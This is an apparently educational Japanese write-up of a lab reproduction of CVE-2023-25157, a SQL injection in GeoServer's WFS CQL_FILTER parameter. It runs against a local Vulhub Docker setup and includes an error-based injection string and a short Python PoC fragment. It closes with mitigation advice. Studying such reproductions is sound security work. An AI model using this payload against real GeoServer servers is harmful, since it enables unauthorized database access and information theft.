geoserver CVE-2023-25157
ホワイトハット3期 [30組] キム・ジョンウ
github リンク - https://github.com/custiya/geoserver-CVE-2023-25157
脆弱性の概要
- CVE-2023-25157は、オープンソースの地図データサービスWebアプリケーションであるGeoServerに対して発生したSQLi脆弱性です。
- GeoServer 2.22.0以下の一部のバージョンで発生します。
- WFS (Web Feature Service) リクエストのCQL_FILTERパラメータが脆弱です。
- 認証なしで該当APIにアクセスできる場合、誰でも利用可能です。
環境構成
- docker compose up -d コマンドでテスト環境を実行します。
- http://your-ip:8080/geoserver でページにアクセスできます。
- まず、PostGISデータストアを含む既存のワークスペースを見つける必要があります。
- VulhubのGeoServerインスタンスには既にPostGISデータストアが存在します。
- ワークスペース名: vulhub
- データストア名: pg
- テーブル名: example
- 使用した属性: name
poc.py
- 上記の内容に基づいてSQLインジェクション文を作成したものです。
- その文をrequestモジュールを使用してサーバーに送信します。
- strStartsWith(name,'x'') = true
- xの後ろにシングルクォートを1つ追加することでSQL構文を破壊します。
- and 1=(SELECT CAST ((SELECT version()) AS integer))
- version()関数はPostgreSQLの現在のバージョンを返す関数であり、文字列です。
- CAST(... AS integer)は強制的に整数に変換するため、エラーが発生します。
- サーバーはエラーメッセージを返すため、ブラインドSQLインジェクションのテストが可能です。
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
結果

まとめ
- このPoCにより、SQLインジェクションの発生有無を確認できました。攻撃者はSQLクエリを介してシステム情報を収集できる可能性があります。
- この攻撃を防ぐためには、ユーザー入力値の検証を追加する必要があります。また、受け取ったSQL文をそのまま使用するのではなく、別途保存して使用する必要があります。